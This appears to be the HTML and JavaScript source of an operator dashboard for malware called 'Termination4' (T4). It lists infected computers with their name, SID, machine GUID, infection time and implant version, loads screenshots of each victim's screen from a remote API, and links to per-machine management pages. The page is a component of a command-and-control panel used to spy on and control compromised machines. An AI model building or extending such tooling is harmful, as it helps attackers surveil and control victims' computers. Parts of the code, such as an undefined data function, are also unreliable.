SMANAGE/backup/Manage/T4/computers.html

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale = 1.0">
  <link rel="stylesheet" href="/css/font.css">
  <link rel="stylesheet" href="/css/xadmin.css">
  <link rel="stylesheet" href="/css/win10ui.css">
  <link rel="stylesheet" href="/css/theme.css">
  <script type="text/javascript" src="/lib/layui/layui.js" charset="utf-8"></script>
  <script type="text/javascript" src="/js/xadmin.js"></script>
  <script type="text/javascript" src="/js/tables.js"></script>
  <link rel="stylesheet" href="/lib/layui/css/layui.css">
  <script>window.breadcrumbs = [{name: "首页", url: ""},{name: "Termination4", url: ""},{name: "Computers"}];</script>
  <script src="/js/address.bar.js"></script>
  <style>
    .computer-card {
      position: relative;
      margin-bottom: 15px;
      max-width: 500px;
      max-height: 370px;
    }
    .computer-image {
      width: 100%;
      height: 100%;
      object-fit: cover;
      border-radius: 4px;
    }
    .computer-meta {
      position: absolute;
      top: 10px;
      left: 10px;
      background-color: rgba(0, 0, 0, 0.7);
      color: white;
      padding: 8px;
      border-radius: 4px;
      font-size: 12px;
      max-width: 80%;
    }
    .meta-item {
      margin-bottom: 4px;
    }
    .meta-item strong {
      display: inline-block;
      min-width: 100px;
    }
  </style>
</head>
<body>
    <div id="cardList" class="layui-row layui-col-space15" style="margin-top: 5px; margin-left: 10px;"></div>
  <script src="/lib/layui/layui.js"></script>
  <script>
    socket = io("/Termination4SocketIOSpace");
    layui.use(['element', 'layer'], function () {
      var element = layui.element;
      var layer = layui.layer;
      var cardListDiv = document.getElementById('cardList');
      
      // 渲染卡片列表
      function renderCardList(data) {
        cardListDiv.innerHTML = '';
        data.forEach(function (item) {
          var card = document.createElement('div');
          card.className = 'layui-col-md5 computer-card';
          card.id = item.id; // 为每个卡片设置唯一id
          card.innerHTML = `
            <div class="layui-card">
              <div class="layui-card-header"><strong style="font-size: 20px;">${item.pcname}</strong> | ${item.sid}</div>
              <div class="layui-card-body">
                <div style="position: relative;">
                  <img src="https://www.gvsds.com/T4/API/CMD/GetT4ComputerPCPng.api?PCMachineGUID=${item.PCMachineGUID}" class="computer-image" alt="Computer Image">
                  <div class="computer-meta">
                    <div class="meta-item"><strong>设备构建 ID:</strong> ${item.PCMachineGUID}</div>
                    <div class="meta-item"><strong>设备感染时间:</strong> ${item.PCreateTime}</div>
                    <div class="meta-item"><strong>设备T版本:</strong> ${item.PCVersion}</div>
                    <div class="meta-item"><strong>设备T编译版本:</strong> ${item.PCompilation}</div>
                  </div>
                </div>
                <div class="layui-btn-group" style="margin-top: 10px;">
                  <button class="layui-btn layui-btn-primary" onclick="xadmin.add_tab_f('T 设备管理 - ${item.pcname}', '/T4/card.html?PCMachineGUID=${item.PCMachineGUID}&PCSID=${item.sid}');">查看</button>
                  <button class="layui-btn layui-btn-danger">删除</button>
                </div>
              </div>
            </div>
          `;
          cardListDiv.appendChild(card);
        });
      }

      // 动态刷新
      function refreshCardList() {
        var currentIds = [];
        var newData = getNewData();
        var existingCards = cardListDiv.querySelectorAll('div[id]');
        existingCards.forEach(function (card) {
          currentIds.push(card.id);
        });

        // 删除新数据中不存在的卡片
        currentIds.forEach(function (id) {
          if (!newData.some(function (item) { return item.id === id; })) {
            var cardToRemove = document.getElementById(id);
            cardToRemove.parentNode.removeChild(cardToRemove);
          }
        });

        // 更新或添加存在的卡片
        newData.forEach(function (item) {
          var existingCard = document.getElementById(item.id);
          if (existingCard) {
            // 这里可以根据实际需求更新卡片内容
          } else {
            renderCardList([item]);
          }
        });
      }

      // 使用Fetch API获取数据
      async function fetchComputerData() {
        try {
          const response = await fetch('/API/T4/computers.api', {
            method: 'GET',
            headers: {
              'Content-Type': 'application/json'
            }
          });

          if (!response.ok) {
            throw new Error(`HTTP error! status: ${response.status}`);
          }

          const data = await response.json();
          renderCardList(data);
        } catch (error) {
          console.error('获取数据失败:', error);
          // 可选：显示错误提示
          layer.msg('数据加载失败，请刷新重试', {icon: 2});
        }
      }

      // 初始化加载数据
      fetchComputerData();
    });
  </script>
</body>
</html>